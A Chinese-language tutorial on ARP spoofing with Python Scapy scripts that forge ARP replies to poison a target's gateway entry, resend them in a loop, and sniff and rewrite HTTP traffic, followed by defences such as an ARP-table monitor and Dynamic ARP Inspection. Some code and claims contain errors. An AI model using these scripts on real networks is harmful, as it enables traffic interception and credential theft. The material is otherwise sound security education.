ARP欺骗技术概述
什么是ARP欺骗
ARP（Address Resolution Protocol）欺骗是一种网络攻击技术，通过发送虚假的ARP（地址解析协议）响应包，将攻击者的MAC地址映射到目标IP地址，从而使网络流量被重定向到攻击者的设备，进而实现中间人攻击（Man-in-the-Middle, MITM）。
ARP协议简介
ARP协议用于将IP地址解析为对应的物理地址（MAC地址）。在网络中，当一个设备需要与另一个设备通信时，它会发送一个ARP请求，询问目标IP地址对应的MAC地址。目标设备收到请求后，会回复一个ARP响应，包含其MAC地址。这种机制确保了网络设备能够正确地将数据包发送到目标设备。
ARP欺骗的基本原理
ARP欺骗的基本原理是通过发送伪造的ARP响应包，将攻击者的MAC地址与目标IP地址进行绑定。这样，当其他设备需要与目标设备通信时，它们会将数据包发送到攻击者的设备，而不是目标设备。攻击者可以通过这种方式拦截、修改或阻止网络流量。
ARP欺骗的实现方式
发送伪造的ARP响应包
伪造ARP响应包的步骤
-
监听网络流量：首先，攻击者需要监听网络中的ARP请求和响应，以获取目标IP地址和MAC地址。
-
构造伪造的ARP响应包：使用网络工具或编程语言构造ARP响应包，将攻击者的MAC地址与目标IP地址进行绑定。
-
发送伪造的ARP响应包：将构造好的伪造ARP响应包发送到网络中的其他设备，使其将目标IP地址与攻击者的MAC地址进行绑定。
代码示例：使用Scapy构造和发送伪造的ARP响应包
from scapy.all import ARP, send
# 目标IP地址和攻击者的MAC地址
target_ip = "192.168.1.10"
attacker_mac = "00:11:22:33:44:55"
# 虚假的源IP地址（网关的IP地址）
gateway_ip = "192.168.1.1"
# 构造ARP响应包
arp_response = ARP(
op=2, # ARP响应
pdst=target_ip, # 目标IP地址
hwdst="ff:ff:ff:ff:ff:ff", # 广播MAC地址
psrc=gateway_ip, # 源IP地址（网关的IP地址）
hwsrc=attacker_mac # 源MAC地址（攻击者的MAC地址）
)
# 发送ARP响应包
send(arp_response, verbose=0)
# 输出发送成功的提示
print(f"Sent ARP response to {target_ip} with {attacker_mac} as {gateway_ip}")
持续发送伪造的ARP响应包
为了确保ARP欺骗的成功，攻击者需要持续发送伪造的ARP响应包，以覆盖合法的ARP响应。这可以通过定时任务或循环来实现。
代码示例：持续发送伪造的ARP响应包
from scapy.all import ARP, send
import time
# 目标IP地址和攻击者的MAC地址
target_ip = "192.168.1.10"
attacker_mac = "00:11:22:33:44:55"
# 虚假的源IP地址（网关的IP地址）
gateway_ip = "192.168.1.1"
# 构造ARP响应包
arp_response = ARP(
op=2, # ARP响应
pdst=target_ip, # 目标IP地址
hwdst="ff:ff:ff:ff:ff:ff", # 广播MAC地址
psrc=gateway_ip, # 源IP地址（网关的IP地址）
hwsrc=attacker_mac # 源MAC地址（攻击者的MAC地址）
)
# 定义持续发送的函数
def arp_spoof():
while True:
# 发送ARP响应包
send(arp_response, verbose=0)
# 每秒发送一次
time.sleep(1)
# 启动持续发送
arp_spoof()
ARP欺骗的效果
拦截网络流量
通过ARP欺骗，攻击者可以将目标设备的网络流量重定向到自己的设备上，从而实现对网络流量的拦截。攻击者可以查看、修改或阻止这些流量，进一步进行其他攻击。
中间人攻击
ARP欺骗是中间人攻击的一种典型手段。攻击者通过拦截目标设备和网关之间的通信，可以监听、篡改或阻止数据包，从而实现对网络通信的控制。
代码示例：监听和修改HTTP流量
from scapy.all import sniff, ARP, IP, TCP, Raw
# 定义回调函数，处理每个数据包
def packet_callback(packet):
if packet[ARP].op == 2: # ARP响应
print(f"ARP Response: {packet[ARP].psrc} is at {packet[ARP].hwsrc}")
elif packet.haslayer(IP) and packet.haslayer(TCP) and packet.haslayer(Raw):
# 检查HTTP流量
if packet[TCP].dport == 80 or packet[TCP].sport == 80:
# 查看HTTP请求
print(f"HTTP Request: {packet[IP].src} -> {packet[IP].dst}")
# 修改HTTP请求内容
packet[Raw].load = packet[Raw].load.replace(b"target_content", b"modified_content")
# 重新计算校验和
del packet[IP].len
del packet[IP].chksum
del packet[TCP].chksum
# 发送修改后的数据包
send(packet, verbose=0)
# 开始监听网络流量
sniff(filter="arp or tcp port 80", prn=packet_callback, store=0)
ARP欺骗的防御措施
静态ARP表
静态ARP表可以防止ARP欺骗，因为它不会自动更新。管理员可以手动将目标IP地址与合法的MAC地址绑定，从而防止攻击者通过伪造ARP响应包来修改绑定关系。
ARP表监控
通过监控ARP表的变化，可以及时发现并阻止ARP欺骗。网络管理员可以使用专门的工具或脚本来定期检查ARP表，确保没有异常的MAC地址绑定。
代码示例：监控ARP表变化
import os
import time
from scapy.all import ARP, srp
# 定义目标IP地址范围
target_ip_range = "192.168.1.1/24"
# 获取当前的ARP表
def get_arp_table():
result = os.popen("arp -a").read()
arp_table = {}
for line in result.split("\n"):
if "at" in line:
ip, mac = line.split(" at ")
ip = ip.strip()
mac = mac.split(" ")[0].strip()
arp_table[ip] = mac
return arp_table
# 监控ARP表变化
def monitor_arp_table():
last_arp_table = get_arp_table()
while True:
current_arp_table = get_arp_table()
for ip, mac in current_arp_table.items():
if ip in last_arp_table and last_arp_table[ip] != mac:
print(f"ARP table change detected: {ip} is now at {mac}")
last_arp_table = current_arp_table
time.sleep(10)
# 启动监控
monitor_arp_table()
使用ARP安全协议
一些网络设备支持ARP安全协议，如ARP Security或Dynamic ARP Inspection（DAI），这些协议可以防止ARP欺骗。ARP Security通过加密ARP请求和响应来防止伪造，而DAI通过检查ARP响应的源MAC地址是否在DHCP服务器的绑定表中来防止伪造。
ARP欺骗的现实案例
实例1：内部网络攻击
在一个内部网络中，攻击者通过发送伪造的ARP响应包，将所有员工的流量重定向到自己的设备上。攻击者通过中间人攻击，拦截并记录员工的登录凭据，然后进行进一步的攻击。
实例2：公共Wi-Fi热点攻击
在公共Wi-Fi热点中，攻击者通过发送伪造的ARP响应包，将所有连接到热点的用户的流量重定向到自己的设备上。攻击者通过中间人攻击，拦截并篡改用户的敏感信息，如银行账户和密码。
结论
ARP欺骗是一种常见的网络攻击技术，通过发送伪造的ARP响应包，可以将网络流量重定向到攻击者的设备上，从而实现中间人攻击。了解ARP欺骗的原理和实现方式，可以帮助网络管理员更好地防御此类攻击。同时，通过静态ARP表、ARP表监控和使用ARP安全协议，可以有效减少ARP欺骗的风险。